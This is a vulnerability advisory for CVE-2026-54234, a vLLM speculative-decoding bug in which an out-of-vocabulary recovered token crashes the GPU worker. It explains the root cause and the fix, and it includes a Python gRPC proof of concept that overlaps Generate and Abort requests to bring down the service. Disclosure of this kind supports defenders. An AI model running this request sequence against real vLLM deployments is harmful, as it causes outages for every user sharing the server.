high · 7.5CVE-2026-54234Jul 17, 2026

CVE-2026-54234: vLLM Remote DoS via Invalid Recovered Token Reinjection in Speculative Decoding

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted sequence of gRPC generation and abort requests can force vLLM's speculative-decoding engine to inject an invalid out-of-vocabulary token (-1) into live model input IDs, crashing the shared G

Packagevllm
Ecosystempip
Affected>= 0.17.1, < 0.24.0
Fixed in0.24.0

The problem

When vLLM runs speculative decoding (EAGLE), the rejection sampler can produce a recovered token equal to `vocab_size` (e.g., 151936 for Qwen3-0.6B-GPTQ-Int8). That boundary value is out-of-vocabulary but is not guarded before being selected as the live next token for a request.

The EAGLE proposer then converts that value to -1 in `next_token_ids` and writes it back into the live drafter `input_ids` buffer via `set_inputs_first_pass`. The embed/attention path later consumes the -1 token ID, triggering a GPU `CUDA error: device-side assert triggered` that kills the shared worker.

Any concurrent requests are also aborted, and the service is unavailable until the worker is restarted. The crash is reproducible on demand, making sustained outage possible.

Proof of concept

A working proof-of-concept for CVE-2026-54234 in vllm, with the exact payload below.

python
# Trigger: overlapping Generate + Abort sequence over public gRPC
# Model: Qwen/Qwen3-0.6B-GPTQ-Int8 (vocab_size = 151936)
# Start vLLM with speculative decoding (EAGLE) enabled, then:

import grpc
from vllm.entrypoints.grpc import vllm_pb2, vllm_pb2_grpc

channel = grpc.insecure_channel("localhost:8001")
stub = vllm_pb2_grpc.LLMServiceStub(channel)

# Request A: long generation with structured output / stop / bad_words
req_a = vllm_pb2.GenerateRequest(
    request_id="req_a",
    prompt="Repeat the word hello many times:",
    # SamplingParams that keep speculative + structured-output state alive
    max_tokens=512,
    stop=["END"],
)

# Request B: overlapping generation (submitted before A completes)
req_b = vllm_pb2.GenerateRequest(
    request_id="req_b",
    prompt="Count to one hundred:",
    max_tokens=512,
)

# Fire A and B concurrently, then abort A mid-flight
stub.Generate(req_a)   # non-blocking in async client
stub.Generate(req_b)
stub.Abort(vllm_pb2.AbortRequest(request_id="req_a"))

# Result: rejection sampler produces recovered_token_ids[0] = 151936
# (== vocab_size). That becomes next_token_ids[0] = -1, written into
# input_ids. GPU asserts on embed. Worker dies.
#
# Confirmed crash trace:
#   sample_recovered_tokens_return -> recovered_token_ids[0] = 151936
#   prepare_next_token_ids_padded -> next_token_ids[0] = -1
#   set_inputs_first_pass         -> input_ids_after[0] = -1
#   embed_input_ids_out_of_range  -> CUDA device-side assert triggered

# Probe confirms service-wide DoS:
resp = stub.Generate(vllm_pb2.GenerateRequest(
    request_id="post_crash_probe",
    prompt="Hello",
    max_tokens=5,
))
# -> EngineDeadError: EngineCore encountered an issue.

The root cause is a missing bounds check in the EAGLE speculative-decoding path. The Triton `sample_recovered_tokens_kernel` can sample a token ID exactly equal to `vocab_size`, which is a legal sampling arithmetic result but an invalid token index. Nothing in `prepare_next_token_ids_padded` (eagle.py) or `sample_recovered_tokens` (rejection_sampler.py) rejects or clamps this value before it is selected as the live next token.

Because the value equals `vocab_size`, the next-token preparation step treats it as out-of-vocabulary and converts it to -1 (the padding sentinel). That -1 is then written into the live drafter `input_ids` buffer, which is later passed to `embed_tokens`. PyTorch/CUDA embedding layers assert that all indices are in `[0, vocab_size)`, so index -1 triggers a fatal device-side assert that terminates the worker process.

The fix in PR #44744 adds an explicit guard in the rejection sampler and/or EAGLE proposer to clamp or discard any recovered token whose value is >= `vocab_size` before it can propagate to `next_token_ids`. This is CWE-20 (Improper Input Validation) and CWE-1284 (Improper Validation of Specified Quantity in Input).

The fix

Upgrade vllm to 0.24.0 or later. The fix is in commit 8a5cf1ccd65e8ac7635c402c1ec0b08988bc26ca (PR #44744), which adds a bounds guard in the EAGLE speculative-decoding pipeline so that any recovered token >= vocab_size is rejected before it can be written into live drafter input IDs.

There is no configuration workaround for earlier versions other than disabling speculative decoding entirely.

Reported by jperezdealgaba.

References: [1][2][3][4][5]

Related research